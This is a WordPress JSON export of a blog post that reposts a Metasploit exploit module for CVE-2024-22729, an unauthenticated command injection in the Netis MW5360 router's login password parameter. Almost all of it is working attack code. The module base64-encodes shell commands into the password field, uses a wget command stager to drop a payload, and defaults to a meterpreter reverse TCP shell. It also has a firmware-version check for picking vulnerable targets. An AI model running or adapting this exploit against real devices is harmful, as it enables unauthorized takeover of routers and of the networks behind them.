{"id":57654,"date":"2024-06-24T17:29:46","date_gmt":"2024-06-24T14:29:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179200\/netis_unauth_rce_cve_2024_22729.rb.txt"},"modified":"2024-06-24T17:29:46","modified_gmt":"2024-06-24T14:29:46","slug":"netis-mw5360-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/netis-mw5360-remote-command-execution\/","title":{"rendered":"Netis MW5360 Remote Command Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Netis router MW5360 unauthenticated RCE.&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.<br \/>The vulnerability stems from improper handling of the &#8220;password&#8221; parameter within the router&#8217;s web interface.<br \/>The router&#8217;s login page authorization can be bypassed by simply deleting the authorization header,<br \/>leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.<br \/>Attackers can inject a command in the &#8216;password&#8217; parameter, encoded in base64, to exploit the command injection<br \/>vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker<br \/>to take control of the router.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # MSF module contributor<br \/>&#8216;Adhikara13&#8217; # Discovery of the vulnerability<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-22729&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/MvCphsf4LN\/cve-2024-22729&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/adhikara13\/CVE\/blob\/main\/netis_MW5360\/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-01-11&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_MIPSLE],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_MIPSLE],<br \/>&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;wget&#8217;],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/mipsle\/meterpreter_reverse_tcp&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; false,<br \/>&#8216;RPORT&#8217; =&gt; 80<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The Netis MW5360 router endpoint URL&#8217;, &#8216;\/&#8217; ]),<br \/>OptInt.new(&#8216;CMD_DELAY&#8217;, [true, &#8216;Delay in seconds between payload commands to avoid locking&#8217;, 30])<br \/>])<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/># cleanup payload file when session is established.<br \/>if cmd.include?(&#8216;chmod +x&#8217;)<br \/>register_files_for_cleanup(cmd.split(&#8216;+x&#8217;)[1].strip)<br \/>end<br \/># skip last command to remove payload because it does not work<br \/>unless cmd.include?(&#8216;rm -f&#8217;)<br \/>payload = Base64.strict_encode64(&#8220;`#{cmd}`&#8221;)<br \/>print_status(&#8220;Executing #{cmd}&#8221;)<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/cgi-bin\/skk_set.cgi&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;password&#8217; =&gt; payload,<br \/>&#8216;quick_set&#8217; =&gt; &#8216;ap&#8217;,<br \/>&#8216;app&#8217; =&gt; &#8216;wan_set_shortcut&#8217;<br \/>}<br \/>})<br \/>end<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8220;Checking if #{peer} can be exploited.&#8221;)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/cgi-bin\/skk_get.cgi&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;mode_name&#8217; =&gt; &#8216;skk_get&#8217;,<br \/>&#8216;wl_link&#8217; =&gt; 0<br \/>}<br \/>})<br \/>return CheckCode::Unknown(&#8216;No valid response received from target.&#8217;) unless res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?(&#8216;version&#8217;)<\/p>\n<p># trying to get the model and version number<br \/># unfortunately JSON parsing fails, so we need to use this ugly REGEX :-(<br \/>version = res.body.match(\/.?(version).?\\s*:\\s*.?((\\\\|[^,])*)\/)<br \/># when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison<br \/>unless version.nil?<br \/>version_number = version[2].upcase.split(&#8216;-V&#8217;)[1].gsub(\/[[:space:]]\/, &#8221;).chop<br \/># The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D<br \/>if version[2].upcase.split(&#8216;-V&#8217;)[0].include?(&#8216;-&#8216;)<br \/>model_number = version[2].upcase.split(&#8216;-V&#8217;)[0][\/-([^-]+)\/, 1].gsub(\/[[:space:]]\/, &#8221;)<br \/>else<br \/>model_number = version[2].upcase.split(&#8216;-V&#8217;)[0][\/\\(([^)]+)\/, 1].gsub(\/[[:space:]]\/, &#8221;)<br \/>end<br \/># Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower<br \/>if version_number &amp;&amp; model_number == &#8216;MW5360&#8217; &amp;&amp; (Rex::Version.new(version_number) &lt;= Rex::Version.new(&#8216;1.0.1.3442&#8217;))<br \/>return CheckCode::Appears(version[2].chop.to_s)<br \/>end<\/p>\n<p>return CheckCode::Safe(version[2].chop.to_s)<br \/>end<br \/>CheckCode::Safe<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>case target[&#8216;Type&#8217;]when :linux_dropper<br \/># Don&#8217;t check the response here since the server won&#8217;t respond<br \/># if the payload is successfully executed<br \/>execute_cmdstager(noconcat: true, delay: datastore[&#8216;CMD_DELAY&#8217;])<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Netis router MW5360 unauthenticated RCE.&#8217;,&#8216;Description&#8217; =&gt; %q{Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.The vulnerability stems from improper handling of the &#8220;password&#8221; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57654","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57654","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57654"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57654\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57654"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57654"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57654"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}